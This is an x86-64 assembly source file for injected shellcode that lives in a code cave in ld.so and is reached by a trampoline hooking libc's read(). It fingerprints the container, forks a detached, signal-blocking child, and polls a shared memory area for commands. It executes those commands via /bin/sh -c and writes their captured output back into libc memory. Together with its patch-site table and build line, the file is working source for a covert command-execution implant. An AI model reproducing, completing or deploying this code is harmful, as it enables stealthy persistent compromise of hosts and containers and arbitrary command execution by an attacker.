zone_c_ld.asm

;; zone_c_ld.asm -- Path-B variant of zone_c.asm
;;
;; Lives in ld.so's `.text` cave (alongside Zone A). Reached from the
;; libc-side trampoline (see trampoline.asm) which has already passed
;; the .bss-key fast-path gate; therefore zone_c_ld omits AREA A and
;; is entered with libc_base in r10.
;;
;; ===================================================================
;;  Differences vs zone_c.asm:
;;
;;    1. AREA A (.r0 fast-path gate) is REMOVED -- the trampoline did it.
;;    2. New entry prologue saves caller's rbp and stashes libc_base
;;       in rbp (rbp is callee-saved AND addresses-equivalently to RIP
;;       in encoding size, so all libc-side accesses stay 7 bytes).
;;    3. Every libc-side reference (.r3, .r1, .r2, .r5, .r12, .r13,
;;       .r8, .r10, .r7a/.r7b/.r7c) is rbp-relative; the disp32 is
;;       the libc-internal VA of the target (not a delta).
;;    4. .r4, .r9, .r11 (calls to Zone A) stay RIP-relative -- Zone A
;;       lives in the same library (ld.so), so the inject computes
;;       the same intra-library disp32.
;;    5. .r7 (lea rbp, [rip+CMD]) is replaced by inline rbp-relative
;;       accesses (rbp now holds libc_base, not cmd_area).
;;    6. .r6 (jmp read+N rel32) is replaced by
;;             lea rax, [rbp+READ_PLUS_N_OFFSET]
;;             pop rbp                ; restore caller's rbp
;;             jmp rax
;;       so that read()'s caller sees its original rbp on return AND
;;       ZF (set by .r5's cmp byte) flows correctly into read+N's jne.
;;    7. The exec_child cmd-pointer load goes from `lea r10, [rbp+8]`
;;       (disp8) to `lea r10, [rbp+CMD_OFFSET+8]` (disp32, .r7c).
;; ===================================================================
;;
;;  Patch sites (handled by patch_zone_c_ld in page_inject.c):
;;
;;    Label  Kind            Inject-time value
;;    -----  --------------  -------------------------------
;;    .r3    rbp-rel imm32   libc bss_key_va
;;    .r1    rbp-rel imm32   libc slot_start_va
;;    .r2    rbp-rel imm32   libc slot_end_va
;;    .r4    ld.so RIP-rel   zone_a_va - (zone_c_ld_va + .r4_rip_off)
;;    .r5    rbp-rel imm32   libc single_thr_va
;;    .r6    rbp-rel imm32   libc read_va + hook_len
;;    .r12   rbp-rel imm32   libc slot_start_va
;;    .r13   rbp-rel imm32   libc slot_end_va
;;    .r7a   rbp-rel imm32   libc cmd_va + 0    (target_key check)
;;    .r7b   rbp-rel imm32   libc cmd_va + 4    (opcode check)
;;    .r7c   rbp-rel imm32   libc cmd_va + 8    (cmd string ptr)
;;    .r8    rbp-rel imm32   libc output_va
;;    .r9    ld.so RIP-rel   zone_a_va - (zone_c_ld_va + .r9_rip_off)
;;    .r10   rbp-rel imm32   libc cmd_va        (target_key write)
;;    .r11   ld.so RIP-rel   zone_a_va - (zone_c_ld_va + .r11_rip_off)
;;
;; Build:
;;   nasm -f bin -o zone_c_ld.bin zone_c_ld.asm

BITS 64
org 0

;; Syscall numbers (all < 128 fit in push/pop imm8)
%define SYS_READ            0
%define SYS_CLOSE           3
%define SYS_RT_SIGPROCMASK  14
%define SYS_PIPE            22
%define SYS_DUP2            33
%define SYS_NANOSLEEP       35
%define SYS_FORK            57
%define SYS_EXECVE          59
%define SYS_EXIT            60
%define SYS_WAIT4           61
%define SYS_FCNTL           72
%define SYS_SETSID          112
%define SYS_NEWFSTATAT      262

%define F_SETFL             4
%define O_NONBLOCK          0x800
%define OUTPUT_MAX          0x2000
%define SIG_SETMASK         2

zone_c_ld:
    ;; -- Path-B prologue: r10 = libc_base from trampoline --
    push rbp                    ; save caller's rbp
    mov  rbp, r10               ; rbp <- libc_base (stable callee-saved holder)

;; =======================================================
;;  AREA B -- Container identification (stat "/")
;;          (AREA A's gate was handled by the trampoline)
;; =======================================================

    push rdi
    push rsi
    push rdx
    push r13                    ; callee-saved -- clobbered by slot scan
    push r14                    ; callee-saved -- clobbered by slot scan
    push r15                    ; callee-saved -- clobbered by stat inode

    push 0x2f                   ; "/"
    mov rsi, rsp
    sub rsp, 144
    mov rdx, rsp

    mov eax, SYS_NEWFSTATAT
    push -100
    pop rdi                     ; AT_FDCWD
    xor r10d, r10d
    syscall

    mov r15d, [rsp+8]
    add rsp, 152
    or  r15d, 1                 ; bit 0 = 1 => trampoline byte-cmp can detect

    ;; .r3: mov [rbp + bss_key_va], r15d
    db 0x44, 0x89, 0xbd
.r3: dd 0

;; =======================================================
;;  AREA C -- Slot-table scan
;; =======================================================

    ;; .r1: lea r14, [rbp + slot_start_va]
    db 0x4c, 0x8d, 0xb5
.r1: dd 0
    ;; .r2: lea r13, [rbp + slot_end_va]
    db 0x4c, 0x8d, 0xad
.r2: dd 0

    push r14

.scan:
    cmp r14, r13
    jge .not_found
    cmp [r14], r15d
    je  .found
    add r14, 4
    jmp .scan

.found:
    pop rax                     ; discard saved r14
    jmp .race_won

.not_found:
    pop r14

;; =======================================================
;;  AREA D -- Race-safe slot registration + fork
;; =======================================================

.find_empty:
    cmp r14, r13
    jge .do_fork
    cmp dword [r14], 0
    jnz .slot_taken

    mov rdi, r14
    mov esi, r15d
    ;; .r4: call Zone A (intra-ld.so RIP-rel)
    db 0xE8
.r4: dd 0

    cmp [r14], r15d
    je  .do_fork
    jmp .next_slot

.slot_taken:
    cmp [r14], r15d
    je  .race_won

.next_slot:
    add r14, 4
    jmp .find_empty

.race_won:
    pop r15                     ; restore callee-saved
    pop r14
    pop r13
    pop rdx
    pop rsi
    pop rdi
    jmp .fast_path

.do_fork:
    push SYS_FORK
    pop rax
    syscall
    test eax, eax
    jz  .child
    jmp .race_won

;; =======================================================
;;  AREA F -- Return to real read()
;; =======================================================

.fast_path:
    ;; .r5: cmp byte [rbp + single_thr_va], 0   (sets ZF)
    db 0x80, 0xbd
.r5: dd 0
    db 0x00

    ;; .r6: lea rax, [rbp + read_plus_n_va]
    db 0x48, 0x8d, 0x85
.r6: dd 0

    ;; pop rbp ; restore caller's rbp before returning to read+N
    db 0x5d

    ;; jmp rax (preserves ZF for read+N's jne)
    db 0xff, 0xe0

;; =======================================================
;;  AREA E -- Child init (setsid + sigblock + 100ms)
;; =======================================================

.child:
    add rsp, 48                 ; discard saved rdi/rsi/rdx/r13/r14/r15
                                ; (rbp register still holds libc_base; the
                                ;  pushed rbp value at rsp[0] is unused -- child
                                ;  will sys_exit, never returns to caller)

    ;; setsid()
    push SYS_SETSID
    pop rax
    syscall

    ;; sigprocmask(SIG_SETMASK, &all_ones, NULL, 8)
    push -1
    mov rsi, rsp
    xor edx, edx
    push SYS_RT_SIGPROCMASK
    pop rax
    push SIG_SETMASK
    pop rdi
    push 8
    pop r10
    syscall
    pop rax                     ; discard sigmask

    ;; nanosleep(100ms) -- jitter
    mov ecx, 100000000
    push rcx
    xor ecx, ecx
    push rcx
    mov rdi, rsp
    xor esi, esi
    push SYS_NANOSLEEP
    pop rax
    syscall
    add rsp, 16

;; =======================================================
;;  AREA G -- Command loop
;; =======================================================

.cmd_loop:
    ;; nanosleep(1s, 0)
    xor ecx, ecx
    push rcx
    inc ecx
    push rcx
    mov rdi, rsp
    xor esi, esi
    push SYS_NANOSLEEP
    pop rax
    syscall
    add rsp, 16

    ;; .r12: lea r14, [rbp + slot_start_va]
    db 0x4c, 0x8d, 0xb5
.r12: dd 0
    ;; .r13: lea r13, [rbp + slot_end_va]
    db 0x4c, 0x8d, 0xad
.r13: dd 0

.exit_scan:
    cmp r14, r13
    jge .die
    cmp dword [r14], 0
    je  .die
    cmp [r14], r15d
    je  .check_cmd
    add r14, 4
    jmp .exit_scan

.check_cmd:
    ;; .r7a: mov eax, [rbp + cmd_va + 0]   (target_key)
    db 0x8b, 0x85
.r7a: dd 0
    cmp eax, -1
    je .die
    cmp eax, r15d
    jne .cmd_loop
    ;; .r7b: mov eax, [rbp + cmd_va + 4]   (opcode)
    db 0x8b, 0x85
.r7b: dd 0
    cmp eax, 1
    jne .cmd_loop

;; =======================================================
;;  AREA H -- Command execution (pipe + fork + drain)
;; =======================================================

    ;; pipe()
    sub rsp, 8
    push SYS_PIPE
    pop rax
    mov rdi, rsp
    syscall
    test eax, eax
    js .exec_fail

    mov r12d, [rsp]             ; r12 = pipe_rd  (rbp still = libc_base -- no conflict)
    mov r13d, [rsp+4]           ; r13 = pipe_wr
    add rsp, 8

    ;; fork()
    push SYS_FORK
    pop rax
    syscall
    test eax, eax
    jz .exec_child

    ;; -- Collector parent --
    push rax                    ; save child PID

    ;; close(pipe_wr)
    push SYS_CLOSE
    pop rax
    mov edi, r13d
    syscall

    pop r13                     ; r13 = child PID

    ;; fcntl(pipe_rd, F_SETFL, O_NONBLOCK)
    push SYS_FCNTL
    pop rax
    mov edi, r12d
    push F_SETFL
    pop rsi
    mov edx, O_NONBLOCK
    syscall

    ;; .r8: lea r14, [rbp + output_va]
    db 0x4c, 0x8d, 0xb5
.r8: dd 0

    xor ebx, ebx

.pipe_loop:
    sub rsp, 256
    xor eax, eax                ; SYS_READ = 0
    mov edi, r12d
    mov rsi, rsp
    mov edx, 252
    syscall

    test eax, eax
    jl .pipe_check_err
    je .pipe_eof

    mov ecx, eax
    add ecx, 3
    and ecx, -4
    xor edx, edx

.write_out:
    cmp edx, ecx
    jge .write_out_done
    cmp ebx, OUTPUT_MAX
    jge .write_out_done

    lea rdi, [r14 + rbx]
    mov esi, [rsp + rdx]
    push rcx
    push rdx
    ;; .r9: call Zone A (intra-ld.so RIP-rel)
    db 0xE8
.r9: dd 0
    pop rdx
    pop rcx

    add edx, 4
    add ebx, 4
    jmp .write_out

.write_out_done:
    add rsp, 256
    jmp .pipe_loop

.pipe_check_err:
    add rsp, 256
    cmp eax, -11                ; EAGAIN?
    jne .pipe_done

    mov ecx, 100000000
    push rcx
    xor ecx, ecx
    push rcx
    mov rdi, rsp
    xor esi, esi
    push SYS_NANOSLEEP
    pop rax
    syscall
    add rsp, 16
    jmp .pipe_loop

.pipe_eof:
    add rsp, 256

.pipe_done:
    push SYS_CLOSE
    pop rax
    mov edi, r12d
    syscall

    push SYS_WAIT4
    pop rax
    mov edi, r13d
    xor esi, esi
    xor edx, edx
    xor r10d, r10d
    syscall

    ;; Signal done: write 0xFFFFFFFD to CMD target_key
    ;; .r10: lea rdi, [rbp + cmd_va]
    db 0x48, 0x8d, 0xbd
.r10: dd 0
    push -3
    pop rsi                     ; 0xFFFFFFFD

    ;; .r11: call Zone A
    db 0xE8
.r11: dd 0

    jmp .cmd_loop

;; =======================================================
;;  AREA I -- Exec child (dup2 + execve)
;; =======================================================

.exec_child:
    ;; dup2(pipe_wr, STDOUT) then dup2(pipe_wr, STDERR)
    mov edi, r13d
    push 1
    pop rsi
    push SYS_DUP2
    pop rax
    syscall

    inc esi
    push SYS_DUP2
    pop rax
    syscall

    push SYS_CLOSE
    pop rax
    mov edi, r12d
    syscall

    push SYS_CLOSE
    pop rax
    mov edi, r13d
    syscall

    ;; "/bin/sh\0"
    mov rax, 0x0068732f6e69622f
    push rax
    mov r8, rsp

    ;; "-c\0"
    xor eax, eax
    mov ax, 0x632d
    push rax
    mov r9, rsp

    ;; .r7c: lea r10, [rbp + cmd_va + 8]   (cmd string ptr)
    db 0x4c, 0x8d, 0x95
.r7c: dd 0

    ;; argv = ["/bin/sh", "-c", cmd, NULL]
    xor eax, eax
    push rax                    ; NULL
    push r10
    push r9
    push r8

    ;; execve
    mov rdi, r8
    mov rsi, rsp
    xor edx, edx
    push SYS_EXECVE
    pop rax
    syscall

    ;; execve failed
    push SYS_EXIT
    pop rax
    push 127
    pop rdi
    syscall

;; -- Error / exit paths ---------------------------------

.exec_fail:
    add rsp, 8
    jmp .cmd_loop

.die:
    push SYS_EXIT
    pop rax
    xor edi, edi
    syscall